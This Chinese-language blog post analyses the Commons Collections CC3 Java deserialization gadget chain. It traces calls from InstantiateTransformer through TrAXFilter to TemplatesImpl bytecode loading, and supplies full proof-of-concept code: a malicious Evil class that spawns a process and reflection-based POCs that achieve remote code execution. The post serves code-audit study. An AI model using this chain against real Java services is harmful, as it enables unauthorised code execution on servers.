Java反序列化 - CC3链 - TemplatesImpl链(代码审计)

一、漏洞简述:

CC1链 和 CC6链中都使用了 Runtime.getRuntime().exec()来进行RCE,服务器黑名单中会选择禁止使用Runtime类来规避。

而CC3则是选择使用恶意类字节码加载的方式,动态加载恶意类来实现RCE。

CC3链分析:

1、调用类利用流程:

InstantiateTransformer.transform()
 -> TrAXFilter.TrAXFilter()
  -> TemplatesImpl.newTransformer()
   -> TemplatesImpl.getTransletInstance()
    -> TemplatesImpl.defineTransletClasses()
     -> TemplatesImpl.defineTransletClasses().defineClass()

2、TemplatesImpl类利用:

1、TemplatesImpl类中重写了 defineClass方法,使其可以加载恶意字节码从而造成RCE:

image

2、defineTransletClasses方法中调用了defineClass方法,使用 defineClass方法加载字节码 _bytecodes数组,若_bytecodes为恶意类字节码,则会造成RCE:

image

3、getTransletInstance方法中调用了defineTranslateClasses方法,并且对通过加载字节码所加载的类进行了实例化操作:

image

4、newTransformer方法调用了 getTransletInstance方法:

image

利用点在于将 _bytecodes数组的值赋值为恶意字节码,调用 defineTransletClasses方法时使用for循环,调用 defineClass方法加载恶意字节码。

defineTransletClasses方法是由getTransletInstance方法调用的,恶意类加载后被使用 .instance方法实例化,从而触发RCE。

由于getTransletInstance方法的属性为private,无法被外部调用,故使用newTransformer方法(public方法)来调用,至此TemplatesImpl利用链完成。

3、poc构造:

成员变量 _bytecodes,_name,_tfactory,_class的成员属性均为 private私有,所以需要通过反射来进行赋值。

image

1、首先赋值 _bytecodes数组,值为恶意类字节码:

        //设置 恶意类字节码 codes
        byte[] code = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java_unserialize/CC/CC3/src/main/java/org/example/Evil.class"));
        byte[][] codes = {code};

        //使用反射给 _bytesCode 赋值 codes
        Field bytesCodeField = templatesImplClass.getDeclaredField("_bytecodes");
        bytesCodeField.setAccessible(true);
        bytesCodeField.set(templatesImpl, codes);

2、getTransletInstance方法中,调用 defineTransletClasses方法的前提是 _name的值不为 null,且 _class的值为null,故给 _name赋值任意值:

        //使用反射给 _name 赋值 "CC3Test"
        Class<TemplatesImpl> templatesImplClass = TemplatesImpl.class;
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesImpl, "CC3Test");

3、defineTransletClasses方法中使用了 ——tfactory,所以tfactory也需要进行赋值,否则会发生报错:

image

4、在 TemplatesImpl.readObejct方法中,_tfactory被赋值 new TransformerFactoryImpl,故赋同样的值:

image

        //使用反射 _tfactory 赋值 new TransformerFactoryImpl
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templatesImpl, new TransformerFactoryImpl());

5、链子的最后一点则是恶意类Evil必须是 AbstractTranslet的子类,因为defineTransletClasses方法中会检查加载类的父类是否是 AbstractTranslet类,如果不是,则会调用_auxClasses.put方法,由于 _auxClasses为null,所以会产生报错,故Evil类需要继承AbstractTranslet类:

image

故修改 Evil类代码并重新进行编译:

public class Evil extends AbstractTranslet {
    public Evil() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

TemplatesImpl利用链poc如下:

public class CC3POC {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        TemplatesImpl templatesImpl = new TemplatesImpl();

        //使用反射给 _name 赋值 "CC3Test"
        Class<TemplatesImpl> templatesImplClass = TemplatesImpl.class;
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesImpl, "CC3Test");

        //设置 恶意类字节码 codes
        byte[] code = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java_unserialize/CC/CC3/src/main/java/org/example/Evil.class"));
        byte[][] codes = {code};

        //使用反射给 _bytesCode 赋值 codes
        Field bytesCodeField = templatesImplClass.getDeclaredField("_bytecodes");
        bytesCodeField.setAccessible(true);
        bytesCodeField.set(templatesImpl, codes);

        //使用反射 _tfactory 赋值 new TransformerFactoryImpl
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templatesImpl, new TransformerFactoryImpl());

        templatesImpl.newTransformer();
    }
}

image

4、外部调用:

可以通过使用 TrAXFilter类 和 InstantiateTransformer类来调用 TemplatesImpl.newTransformer方法实现RCE。

控制 TrAXFilter类构造函数中的templates的值来实现调用 .newTransformer方法。

通过 InstantiateTransformer类中的构造函数和 transform方法来实现。

image

完整调用POC如下:

public class CC3POC {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        TemplatesImpl templatesImpl = new TemplatesImpl();

        //使用反射给 _name 赋值 "CC3Test"
        Class<TemplatesImpl> templatesImplClass = TemplatesImpl.class;
        Field nameField = templatesImplClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templatesImpl, "CC3Test");

        //设置 恶意类字节码 codes
        byte[] code = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java_unserialize/CC/CC3/src/main/java/org/example/Evil.class"));
        byte[][] codes = {code};

        //使用反射给 _bytesCode 赋值 codes
        Field bytesCodeField = templatesImplClass.getDeclaredField("_bytecodes");
        bytesCodeField.setAccessible(true);
        bytesCodeField.set(templatesImpl, codes);

        //使用反射 _tfactory 赋值 new TransformerFactoryImpl
        Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templatesImpl, new TransformerFactoryImpl());


        //调用 TrAXFilter的类构造器
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});

        //调用 templatesImpl.newTransformer();
        instantiateTransformer.transform(TrAXFilter.class);
    }
}

image

posted @ 2024-12-07 11:38  不会下雨的晴天  阅读(146)  评论(0)    收藏  举报